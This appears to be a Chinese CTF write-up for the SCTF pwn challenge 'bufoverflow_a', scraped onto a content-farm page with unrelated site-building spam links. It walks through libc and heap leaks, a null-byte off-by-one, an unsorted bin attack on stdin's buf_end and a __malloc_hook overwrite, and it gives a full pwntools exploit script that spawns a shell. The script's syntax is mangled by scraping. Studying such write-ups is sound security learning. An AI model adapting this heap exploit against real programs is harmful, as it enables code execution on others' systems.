当前位置: 首页 > news >正文

网站最新程序策划书网站建设策划师

网站最新程序策划书,网站建设策划师,收不到 wordpress 邮件,wordpress邮箱解析本来以为应该能出一两道ctf的pwn了#xff0c;结果又被sctf打击了一波。 bufoverflow_a 做这题时libc和堆地址都泄露完成了#xff0c;卡在了unsorted bin attack上#xff0c;由于delete会清0变量导致无法写#xff0c;一直没构造出unsorted bin attack#xff0c;后面根…本来以为应该能出一两道ctf的pwn了结果又被sctf打击了一波。 bufoverflow_a 做这题时libc和堆地址都泄露完成了卡在了unsorted bin attack上由于delete会清0变量导致无法写一直没构造出unsorted bin attack后面根据wp发现只要修改一下free的顺序就行了。 这题的主要功能如下 正常的堆题模板1是申请堆2是删除堆3是写刚申请的堆4是输出刚申请的堆的内容5结束。 首先泄露libc的地址申请堆只能申请0x7f到0x1000的大小也就是不能申请fastbin构造堆分布如下 先申请两个0x88的chunk然后free chunk 1再申请一个0x88的堆这时候这个堆的fd和bk指向main_arena88再执行show函数就可以泄露libc(这里注意不能申请过多堆因为题目中只有堆的个数小于2的时候用的malloc大于就用calloc会清空堆的内容) 堆地址也可以用类似方法泄露构造堆分布 先申请4个0x88堆再free堆块1和堆块3堆块4这样堆块3,4top_chunk会合并这时top_chunk的fd会是chunk 1所以再申请一个大于0x88的堆会从top_chunk分配再show就能泄露堆地址。 再fill函数中存在null byte off-by-one漏洞常规思路就是用null byte off-by-one造成overlap然后unsorted bin attack这题有scanf函数可以修改stdin的buf_end然后覆盖malloc_hook成one_gadget用house of orange应该也是能出的。  首先构造堆块如下 先申请了4个堆块然后free掉第一个和第二个堆块再申请第一个堆块这样就可以写第一个堆块并使用漏洞将第二个堆块的size最后一位修改为\x00这时第二个堆块还在unsorted bin里面。 接着继续申请4个堆块大小大于7f并且4个大小相加小于0x400。由于前面第二个堆块的size改变了导致unsorted bin大小变了但是后面堆块也就是之前申请的大小0x100的堆块的pre_size并没有更新(因为是通过unsortedbin这个堆的size来找下一个堆的pre_size去修改但是现在size小于原来的size所以找到的位置并不是0x100的堆的pre_size的位置而是更上面的地方)。申请过后堆的情况如下   接着按照上图free 0x88,0x100,0x200由于0x100的堆块的pre_size还是之前的值所以会和0x88的堆块合并就会造成一个大的unsortedbin并且包含了之前申请的0x200的堆块。(这里要特别注意free的顺序由于只有刚申请的块能够写入所以这里我们需要提前构造一个unsorted bin在之后申请的堆的内部而unsorted bin是先入先出的结构如果前面的未满足申请的大小就会放入对应的smallbin或者largebin里面所以先free了0x88,0x100使得两个块合并后有一个unsortedbin再free 0x200得到第二个unsortedbin这样下次malloc的时候第一个unsortedbin符合返回了就不会把后面的unsortedbin放入smallbin里面去了)。 申请一个大小为0x518的块这时这个块就包含了里面0x200的那个unsortedbin块fill函数写入将unsortedbin的块的bk改为stdin0x30接着申请一个0x208的块就完成了unsorted bin attack这时bk0x10会被赋值为unsortedbin地址也就是main_arena88而stdin0x300x10的位置就是buf_end的位置所以buf_end被赋值为main_arena88。 scanf写入时会先将输入放入缓冲区内再写入而缓冲区的位置就是buf_base大小是buf_end-buf_base现在修改了buf_end也就是说我们可以任意写入值到buf_base到buf_end之间而这之间就存在malloc_hook。 然而在这之间还需要保证两个值的正确性一个是lock一个是vtable,lock需要一个指向0的地址vtable就用原来的地址就行所以构造payload如下: payload 1\n\x00\x00\x00 payload p64(malloc_hook-libc.symbols[__malloc_hook]0x39b770) payload p64(0)*9p64(malloc_hook-libc.symbols[__malloc_hook]0x396440) payload payload.ljust(0x1ad,\x00) payload p64(one_gadget)  这里看的wp都是前5个字符都是\x00同样可以使得程序进入到1选项中去申请堆块不是很理解应该是和scanf接收\x00的处理有关这里我构造的前5个字节为1\n\x00\x00\x00因为scanf碰到\n会将\n替换为\x00这里就能保证输入1进入了1选项后去申请一个大小的堆就会跳到malloc_hook去执行one_gadget拿到shell了。 exp: from pwn import * p process(./bufoverflow_a) #p remote(116.62.152.176, 20001) #context.log_level debug p.recvuntil( ) def alloc(p,size):p.sendline(1)p.recvuntil(Size: )p.sendline(size)p.recvuntil( ) def delete(p,index):p.sendline(2)p.recvuntil(Index: )p.sendline(index)p.recvuntil( ) def fill(p,content):p.sendline(3)p.recvuntil(Content: )p.send(content)p.recvuntil( ) def show(p):p.sendline(4) #gdb.attach(proc.pidof(p)[0]) #leak libc alloc(p,str(0x88)) #0 alloc(p,str(0x300)) #1 delete(p,str(0)) #free 0 alloc(p,str(0x88)) #0 show(p) main_arena u64(p.recv(6).ljust(8,\x00))-88 print hex(main_arena) p.recvuntil( ) #libc ELF(/lib/x86_64-linux-gnu/libc.so.6) libc ELF(./libc.so.6) malloc_hook main_arena-0x10 io_list_all_addr libc.symbols[_IO_list_all]malloc_hook-libc.symbols[__malloc_hook] jump_table_addr libc.symbols[_IO_file_jumps]malloc_hook-libc.symbols[__malloc_hook] system_addr libc.symbols[system]malloc_hook-libc.symbols[__malloc_hook] stdin libc.symbols[_IO_2_1_stdin_]malloc_hook-libc.symbols[__malloc_hook] binsh libc.search(/bin/sh\x00).next()malloc_hook-libc.symbols[__malloc_hook] one_gadget 0xd6655malloc_hook -libc.symbols[__malloc_hook] print one_gadget:,hex(one_gadget) #one_gadget 0x45216malloc_hook -libc.symbols[__malloc_hook] print stdin:,hex(stdin) print lock:,hex(malloc_hook-libc.symbols[__malloc_hook]0x39b770) print io_jump:,hex(malloc_hook-libc.symbols[__malloc_hook]0x396440) #clear delete(p,str(0)) delete(p,str(1))#leak heap alloc(p,str(0x88))#0 alloc(p,str(0x88))#1 alloc(p,str(0x88))#2 alloc(p,str(0x88))#3 delete(p,str(0)) #free 0 delete(p,str(2)) #free 2 delete(p,str(3)) #free 3 alloc(p,str(0x100))#0 show(p) heap_addr u64(p.recv(6).ljust(8,\x00)) fake_heap heap_addr-0x200x18 print hex(heap_addr) #clear p.recvuntil( ) delete(p,str(0)) delete(p,str(1))#unsafe unlink alloc(p,str(0x88))#0 alloc(p,str(0x400))#1 alloc(p,str(0x100))#2 alloc(p,str(0x88))#3delete(p,str(0)) delete(p,str(1)) alloc(p,str(0x88))#0 payload a*0x88 fill(p,payload)alloc(p,str(0x88)) #1 alloc(p,str(0x88)) #4 alloc(p,str(0x200)) #5 alloc(p,str(0xb8)) #6delete(p,str(1)) delete(p,str(2)) delete(p,str(5))alloc(p,str(0x518)) payload a*0x80 payload p64(0) p64(0x91) payload b*0x80 payload p64(0) p64(0x211) payload p64(main_arena88) p64(stdin0x30) fill(p,payload\n)alloc(p,str(0x208))payload 1\n\x00\x00\x00#\x00*5 payload p64(malloc_hook-libc.symbols[__malloc_hook]0x39b770) payload p64(0xffffffffffffffff) p64(0) payload p64(malloc_hook-libc.symbols[__malloc_hook]0x3999a0)p64(0) payload p64(0)*2 payload p64(0xffffffff)p64(0) payload p64(0) p64(malloc_hook-libc.symbols[__malloc_hook]0x396440) payload \x00*0x130 payload p64(malloc_hook-libc.symbols[__malloc_hook]0x395f00)p64(0) payload p64(malloc_hook-libc.symbols[__malloc_hook]0x7c610)p64(0) payload p64(one_gadget) payload 1\n\x00\x00\x00 payload p64(malloc_hook-libc.symbols[__malloc_hook]0x39b770) payload p64(0)*9p64(malloc_hook-libc.symbols[__malloc_hook]0x396440) payload payload.ljust(0x1ad,\x00) payload p64(one_gadget)p.sendline(payload) p.recvuntil(Size: ) p.sendline(str(0x88)) p.interactive()主要写了一些在复现时候踩的坑和一些不理解的地方(大佬们可以自动忽略这些废话。。。)。转载于:https://www.cnblogs.com/lllkh/p/9251494.html
http://www.zqtcl.cn/news/796670/

相关文章:

  • 制作网站的app推动高质量发展的必要性
  • 网站建设培训个人企业的官网
  • 物流公司做网站佛山市城乡和住房建设局网站
  • 建设银行六安市分行网站云梦网络建站
  • 寿光专业做网站的公司有哪些网页制作基础教程黄洪杰
  • discuz可以做门户网站么江西省网站备案
  • 天眼查在线查询系统seo平台优化服务
  • 建设部网站 注册违规北京梵客装饰
  • 大连制作网站报价网站网站怎么做代理
  • php做网站如何架构品牌vi设计欣赏
  • 网站外链建设与文章发布规范网址例子
  • 外贸网站空间选择商业计划书
  • 手机作图软件app专业做邯郸网站优化
  • 济南网站定制制作wordpress theid
  • 企业网站建设能解决什么问题设计房子需要多少钱
  • 专业网站开发制作石家庄信息门户网站定制
  • 藤虎网络广州网站建设网站域名实名认证官网
  • 佛山专业网站建设公司推荐it行业做网站一个月多少钱
  • 三网合一网站怎么做苏醒主题做的网站
  • wordpress站内统计插件wordpress模板 单栏
  • 龙岩网站定制网站开发 技术路线
  • 广州制作网站开发网站标题怎么设置
  • 海南旅游网站开发背景做网站兼容ie
  • 查找人网站 优帮云本地升级wordpress
  • 安庆什么网站好小事做wordpress主题vue
  • 高端商品网站网络运维工程师面试题及答案
  • 做网站的dw全称是啥适合迷茫年轻人的工作
  • 免费软件库合集软件资料网站wordpress go链接跳转错误
  • 重庆那里做网站外包好和镜像网站做友链
  • 网站栏目关键词装修效果图制作软件